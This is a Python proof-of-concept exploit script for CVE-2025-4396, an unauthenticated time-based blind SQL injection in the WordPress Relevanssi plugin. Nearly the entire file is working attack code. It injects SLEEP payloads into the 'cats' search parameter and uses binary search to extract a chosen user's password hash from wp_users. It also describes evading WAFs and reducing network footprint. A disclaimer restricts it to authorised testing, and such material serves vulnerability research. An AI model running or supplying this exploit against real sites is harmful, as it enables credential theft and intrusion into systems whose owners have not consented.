#!/usr/bin/env python3 """ ============================================================================= CVE-2025-4396 - WordPress Relevanssi SQLi (Binary Search Edition) ============================================================================= Author: [n3fhara] Date: 2026-03-18 Version: 1.0 (Dichotomy/Binary Search Edition) Target: WordPress with Relevanssi Plugin (Vulnerable to CVE-2025-4396) Description: ------------ This Proof of Concept (PoC) exploits an unauthenticated Time-Based Blind SQL injection in the Relevanssi plugin (CVE-2025-4396). Unlike standard linear extraction, this tool implements a Binary Search algorithm (Dichotomy). It drastically reduces the number of HTTP requests sent to the target server by evaluating ASCII values with strictly greater (>) conditions. This exponentially increases extraction speed while lowering the network footprint. Disclaimer: ----------- This tool is for educational purposes and authorized Red Team / Purple Team assessments ONLY. Do not use against systems you do not own or lack explicit permission to test. Usage: ------ python3 CVE_2025_4396_Stealth.py -t "https://target.local/?s=test&cats=" -u 2 -s 3 -v ============================================================================= """ import requests import time import urllib3 import argparse import sys import logging # Disable SSL/TLS warnings (useful for local labs and self-signed certificates) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Maximum length for WP 6.8+ hashes (HMAC-SHA384 + Bcrypt) MAX_HASH_LENGTH = 64 def parse_args(): """Parse command line arguments.""" parser = argparse.ArgumentParser( description="Binary Search (Dichotomy) PoC for CVE-2025-4396", formatter_class=argparse.RawTextHelpHelpFormatter ) parser.add_argument("-t", "--target", required=True, help="Target URL including vulnerable parameters.\nExample: https://target.local/?s=test&cats=") parser.add_argument("-u", "--userid", required=True, type=int, help="The WordPress User ID to extract the hash from (e.g., 1)") parser.add_argument("-s", "--sleep", default=3, type=int, help="Sleep time threshold in seconds (default: 3)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose debug logging") return parser.parse_args() def setup_logger(verbose): """Configure the logging module for console output.""" level = logging.DEBUG if verbose else logging.INFO logging.basicConfig( level=level, format='[%(asctime)s] [%(levelname)s] %(message)s', datefmt='%H:%M:%S' ) # Reduce noise from underlying HTTP libraries logging.getLogger("urllib3").setLevel(logging.WARNING) def check_boolean(target, user_id, pos, ascii_value, sleep_time): """ Sends a Time-Based SQLi payload to evaluate if the ASCII value of the character at position 'pos' is strictly greater (>) than 'ascii_value'. Args: target (str): The vulnerable URL endpoint. user_id (int): Target WP User ID. pos (int): The current string index being evaluated. ascii_value (int): The ASCII value tested in the dichotomy algorithm. sleep_time (int): Threshold in seconds to determine True/False conditions. Returns: bool: True if the sleep occurred (character ASCII is > ascii_value), False otherwise. """ # Core mathematical payload avoiding commas payload = f"1) AND (SELECT SLEEP({sleep_time}*(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID={user_id}) FROM {pos} FOR 1))>{ascii_value})))-- -" # URL Encoding: Crucial step to ensure mathematical operators (>, <, =) pass through WAFs and web servers payload_encoded = payload.replace(' ', '%20').replace('>', '%3E').replace('<', '%3C').replace('=', '%3D').replace('*', '%2A') # Ensure proper URL formatting clean_target = target if target.endswith('/') else target + '/' if "cats=" in clean_target: full_url = clean_target + payload_encoded else: full_url = f"{clean_target}?s=test&cats={payload_encoded}" start_time = time.time() try: # Timeout is slightly higher than sleep_time to handle True responses gracefully requests.get(full_url, verify=False, timeout=sleep_time + 5) elapsed = time.time() - start_time except requests.exceptions.ReadTimeout: elapsed = sleep_time + 5 except requests.exceptions.RequestException as e: logging.error(f"Network error: {e}") return False # ========================================== # ANTI-JITTER: Double Verification Phase # ========================================== if elapsed >= sleep_time: start_verify = time.time() try: requests.get(full_url, verify=False, timeout=sleep_time + 5) elapsed_verify = time.time() - start_verify except requests.exceptions.ReadTimeout: elapsed_verify = sleep_time + 5 return elapsed_verify >= sleep_time return False def extract_hash_binary(target, user_id, sleep_time): """ Core extraction loop utilizing a Binary Search algorithm. It recursively divides the ASCII table to find the correct character in roughly 7 requests per byte. """ extracted_hash = "" logging.info(f"Starting FAST Binary Search extraction for User ID {user_id}...") logging.info(f"Target: {target}") # Warm-up request to stabilize initial network latency try: requests.get(target, verify=False, timeout=5) except: pass print("\n[+] Fast Extraction in progress:\n") for pos in range(1, MAX_HASH_LENGTH + 1): # Printable ASCII range: 32 (space) to 126 (~) low = 32 high = 126 # Dichotomy logic while low <= high: mid = (low + high) // 2 logging.debug(f"Pos {pos}: Testing if ASCII > {mid} (Range {low}-{high})") is_greater = check_boolean(target, user_id, pos, mid, sleep_time) if is_greater: # The character ASCII is strictly greater than 'mid' low = mid + 1 else: # The character ASCII is lower or equal to 'mid' high = mid - 1 # The while loop converges with 'low' holding the exact ASCII value found_char = chr(low) # End of Hash / Empty String validation # If low is 32 (space), we double-check if it's the end of the string (NULL) if low == 32 and not check_boolean(target, user_id, pos, 31, sleep_time): print(f"\n\n[-] Null character detected at position {pos}. End of hash reached.") break extracted_hash += found_char # Interactive inline output sys.stdout.write(f"\rHash: {extracted_hash}\n") sys.stdout.flush() return extracted_hash def main(): """Main execution flow.""" args = parse_args() setup_logger(args.verbose) try: final_hash = extract_hash_binary(args.target, args.userid, args.sleep) if final_hash: print(f"\n\n[!] Extraction complete. Valid Hash: {final_hash}\n") sys.exit(0) # Standard success exit code else: logging.error("Failed to extract hash. Check if the target is vulnerable.") sys.exit(1) # Standard error exit code except KeyboardInterrupt: print("\n\n[!] Extraction aborted by user.") sys.exit(130) # Standard exit code for SIGINT (Ctrl+C) if __name__ == "__main__": main()